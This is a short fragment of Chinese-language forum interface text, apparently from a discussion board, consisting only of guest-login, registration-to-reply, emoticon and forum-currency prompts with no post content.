	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复